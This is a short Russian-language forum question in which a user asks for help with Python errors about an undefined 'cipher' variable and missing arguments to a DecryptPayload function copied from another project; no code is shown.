Возникает следующая ошибка:

name 'cipher' is not defined

Вещи с данной переменной написал не сам, а взял из другого проекта (в некоторых местах допиливал, но без участия этой переменной), так как сам по этой части не шарю.

UPD: оно как-то поменялось и теперь выдаёт вот эту ошибку

DecryptPayload() missing 2 required positional arguments: 'cipher' and 'payload'

скорее всего либо сам decryptpayload либо функция main , строку почему-то не выбивает
